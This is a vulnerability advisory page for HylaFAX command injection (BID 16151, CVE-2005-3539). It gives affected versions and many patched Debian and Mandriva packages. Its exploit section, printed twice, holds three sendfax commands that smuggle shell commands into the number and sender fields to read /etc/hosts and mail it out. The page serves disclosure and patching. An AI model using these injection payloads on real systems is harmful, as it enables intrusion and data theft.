Hylafax Multiple Scripts Remote Command Execution Vulnerability
BID:16151
Info
Hylafax Multiple Scripts Remote Command Execution Vulnerability
| Bugtraq ID: | 16151 |
| Class: | Input Validation Error |
| CVE: |
CVE-2005-3539 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 05 2006 12:00AM |
| Updated: | Aug 11 2006 09:25PM |
| Credit: | Patrice Fournier of iFAX Solutions, Inc. is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
Mandriva Linux Mandrake 2006.0 x86_64 Mandriva Linux Mandrake 2006.0 Mandriva Linux Mandrake 10.2 x86_64 Mandriva Linux Mandrake 10.2 Mandriva Linux Mandrake 10.1 x86_64 Mandriva Linux Mandrake 10.1 Hylafax Hylafax 4.2.3 Hylafax Hylafax 4.2.2 Hylafax Hylafax 4.2.1 Hylafax Hylafax 4.2 Hylafax Hylafax 4.1.1 Gentoo Linux |
| Not Vulnerable: |
Hylafax Hylafax 4.2.4 |
Discussion
Hylafax Multiple Scripts Remote Command Execution Vulnerability
HylaFAX is vulnerable to multiple arbitrary command-execution vulnerabilities. This issue is due to a failure in the application to properly sanitize user-supplied input.
These vulnerabilities allow an attacker to execute arbitrary commands in the context of the affected application. Successful exploitation may facilitate a compromise of the underlying system.
HylaFAX is vulnerable to multiple arbitrary command-execution vulnerabilities. This issue is due to a failure in the application to properly sanitize user-supplied input.
These vulnerabilities allow an attacker to execute arbitrary commands in the context of the affected application. Successful exploitation may facilitate a compromise of the underlying system.
Exploit / POC
Hylafax Multiple Scripts Remote Command Execution Vulnerability
An exploit is not required.
Example commands to exploit these issues have been provided:
sendfax -d "411;number=\`cat /etc/hosts\`" /etc/hosts
sendfax -f "\`cat /etc/hosts|mail -s hosts [email protected]\` <[email protected]>" -d 411 /etc/hosts
sendfax -d "@411\";cat /etc/hosts|mail -s hosts [email protected];" /etc/hosts
An exploit is not required.
Example commands to exploit these issues have been provided:
sendfax -d "411;number=\`cat /etc/hosts\`" /etc/hosts
sendfax -f "\`cat /etc/hosts|mail -s hosts [email protected]\` <[email protected]>" -d 411 /etc/hosts
sendfax -d "@411\";cat /etc/hosts|mail -s hosts [email protected];" /etc/hosts
Solution / Fix
Hylafax Multiple Scripts Remote Command Execution Vulnerability
Solution:
Please see the referenced advisories for more information.
The vendor has released an updated version addressing this issue:
Hylafax Hylafax 4.1.1
Hylafax Hylafax 4.2
Hylafax Hylafax 4.2.1
Hylafax Hylafax 4.2.2
Hylafax Hylafax 4.2.3
Solution:
Please see the referenced advisories for more information.
The vendor has released an updated version addressing this issue:
Hylafax Hylafax 4.1.1
-
Debian hylafax-client_4.1.1-4woody1_alpha.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.1.1-4woody1_alpha.deb -
Debian hylafax-client_4.1.1-4woody1_arm.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.1.1-4woody1_arm.deb -
Debian hylafax-client_4.1.1-4woody1_hppa.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.1.1-4woody1_hppa.deb -
Debian hylafax-client_4.1.1-4woody1_i386.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.1.1-4woody1_i386.deb -
Debian hylafax-client_4.1.1-4woody1_ia64.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.1.1-4woody1_ia64.deb -
Debian hylafax-client_4.1.1-4woody1_m68k.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.1.1-4woody1_m68k.deb -
Debian hylafax-client_4.1.1-4woody1_powerpc.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.1.1-4woody1_powerpc.deb -
Debian hylafax-client_4.1.1-4woody1_s390.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.1.1-4woody1_s390.deb -
Debian hylafax-client_4.1.1-4woody1_sparc.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.1.1-4woody1_sparc.deb -
Debian hylafax-doc_4.1.1-4woody1_all.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-doc_4.1 .1-4woody1_all.deb -
Debian hylafax-server_4.1.1-4woody1_alpha.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.1.1-4woody1_alpha.deb -
Debian hylafax-server_4.1.1-4woody1_arm.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.1.1-4woody1_arm.deb -
Debian hylafax-server_4.1.1-4woody1_hppa.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.1.1-4woody1_hppa.deb -
Debian hylafax-server_4.1.1-4woody1_i386.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.1.1-4woody1_i386.deb -
Debian hylafax-server_4.1.1-4woody1_ia64.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.1.1-4woody1_ia64.deb -
Debian hylafax-server_4.1.1-4woody1_m68k.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.1.1-4woody1_m68k.deb -
Debian hylafax-server_4.1.1-4woody1_powerpc.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.1.1-4woody1_powerpc.deb -
Debian hylafax-server_4.1.1-4woody1_s390.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.1.1-4woody1_s390.deb -
Debian hylafax-server_4.1.1-4woody1_sparc.deb
Debian GNU/Linux 3.0 alias woody
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.1.1-4woody1_sparc.deb -
HylaFAX hylafax-4.2.4.tar.gz
ftp://ftp.hylafax.org/source/hylafax-4.2.4.tar.gz
Hylafax Hylafax 4.2
-
HylaFAX hylafax-4.2.4.tar.gz
ftp://ftp.hylafax.org/source/hylafax-4.2.4.tar.gz -
Mandriva hylafax-4.2.0-1.4.101mdk.i586.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva hylafax-4.2.0-1.4.101mdk.x86_64.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva hylafax-4.2.0-3.2.102mdk.i586.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva hylafax-4.2.0-3.2.102mdk.x86_64.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva hylafax-client-4.2.0-1.4.101mdk.i586.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva hylafax-client-4.2.0-1.4.101mdk.x86_64.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva hylafax-client-4.2.0-3.2.102mdk.i586.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva hylafax-client-4.2.0-3.2.102mdk.x86_64.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva hylafax-server-4.2.0-1.4.101mdk.i586.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva hylafax-server-4.2.0-1.4.101mdk.x86_64.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva hylafax-server-4.2.0-3.2.102mdk.i586.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva hylafax-server-4.2.0-3.2.102mdk.x86_64.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva lib64hylafax4.2.0-4.2.0-1.4.101mdk.x86_64.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva lib64hylafax4.2.0-4.2.0-3.2.102mdk.x86_64.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva lib64hylafax4.2.0-devel-4.2.0-1.4.101mdk.x86_64.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva lib64hylafax4.2.0-devel-4.2.0-3.2.102mdk.x86_64.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva libhylafax4.2.0-4.2.0-1.4.101mdk.i586.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva libhylafax4.2.0-4.2.0-3.2.102mdk.i586.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva libhylafax4.2.0-devel-4.2.0-1.4.101mdk.i586.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva libhylafax4.2.0-devel-4.2.0-3.2.102mdk.i586.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/
Hylafax Hylafax 4.2.1
-
Debian hylafax-client_4.2.1-5sarge3_alpha.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.2.1-5sarge3_alpha.deb -
Debian hylafax-client_4.2.1-5sarge3_amd64.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.2.1-5sarge3_amd64.deb -
Debian hylafax-client_4.2.1-5sarge3_arm.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.2.1-5sarge3_arm.deb -
Debian hylafax-client_4.2.1-5sarge3_hppa.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.2.1-5sarge3_hppa.deb -
Debian hylafax-client_4.2.1-5sarge3_i386.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.2.1-5sarge3_i386.deb -
Debian hylafax-client_4.2.1-5sarge3_ia64.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.2.1-5sarge3_ia64.deb -
Debian hylafax-client_4.2.1-5sarge3_m68k.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.2.1-5sarge3_m68k.deb -
Debian hylafax-client_4.2.1-5sarge3_mips.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.2.1-5sarge3_mips.deb -
Debian hylafax-client_4.2.1-5sarge3_mipsel.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.2.1-5sarge3_mipsel.deb -
Debian hylafax-client_4.2.1-5sarge3_powerpc.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.2.1-5sarge3_powerpc.deb -
Debian hylafax-client_4.2.1-5sarge3_s390.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-client_ 4.2.1-5sarge3_s390.deb -
Debian hylafax-doc_4.2.1-5sarge3_all.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-doc_4.2 .1-5sarge3_all.deb -
Debian hylafax-server_4.2.1-5sarge3_alpha.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.2.1-5sarge3_alpha.deb -
Debian hylafax-server_4.2.1-5sarge3_amd64.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.2.1-5sarge3_amd64.deb -
Debian hylafax-server_4.2.1-5sarge3_arm.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.2.1-5sarge3_arm.deb -
Debian hylafax-server_4.2.1-5sarge3_hppa.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.2.1-5sarge3_hppa.deb -
Debian hylafax-server_4.2.1-5sarge3_i386.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.2.1-5sarge3_i386.deb -
Debian hylafax-server_4.2.1-5sarge3_ia64.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.2.1-5sarge3_ia64.deb -
Debian hylafax-server_4.2.1-5sarge3_m68k.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.2.1-5sarge3_m68k.deb -
Debian hylafax-server_4.2.1-5sarge3_mips.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.2.1-5sarge3_mips.deb -
Debian hylafax-server_4.2.1-5sarge3_mipsel.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.2.1-5sarge3_mipsel.deb -
Debian hylafax-server_4.2.1-5sarge3_powerpc.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.2.1-5sarge3_powerpc.deb -
Debian hylafax-server_4.2.1-5sarge3_s390.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/h/hylafax/hylafax-server_ 4.2.1-5sarge3_s390.deb -
HylaFAX hylafax-4.2.4.tar.gz
ftp://ftp.hylafax.org/source/hylafax-4.2.4.tar.gz -
Mandriva hylafax-4.2.1-2.2.20060mdk.i586.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva hylafax-4.2.1-2.2.20060mdk.x86_64.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva hylafax-client-4.2.1-2.2.20060mdk.i586.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva hylafax-client-4.2.1-2.2.20060mdk.x86_64.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva hylafax-server-4.2.1-2.2.20060mdk.i586.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva hylafax-server-4.2.1-2.2.20060mdk.x86_64.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva lib64hylafax4.2.0-4.2.1-2.2.20060mdk.x86_64.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva lib64hylafax4.2.0-devel-4.2.1-2.2.20060mdk.x86_64.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva libhylafax4.2.0-4.2.1-2.2.20060mdk.i586.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/ -
Mandriva libhylafax4.2.0-devel-4.2.1-2.2.20060mdk.i586.rpm
Mandriva Linux 10.1:
http://wwwnew.mandriva.com/en/downloads/
Hylafax Hylafax 4.2.2
-
HylaFAX hylafax-4.2.4.tar.gz
ftp://ftp.hylafax.org/source/hylafax-4.2.4.tar.gz
Hylafax Hylafax 4.2.3
-
HylaFAX hylafax-4.2.4.tar.gz
ftp://ftp.hylafax.org/source/hylafax-4.2.4.tar.gz
References
Hylafax Multiple Scripts Remote Command Execution Vulnerability
References:
References:
- Bugzilla Bug 719 - Unsanitised user-supplied data passed to eval in notify an (HylaFAX)
- HylaFAX 4.2.4 release (HylaFAX)
- Hylafax Homepage (Hylafax)
- HylaFAX Security advisory - fixed in HylaFAX 4.2.4 (Aidan Van Dyk
)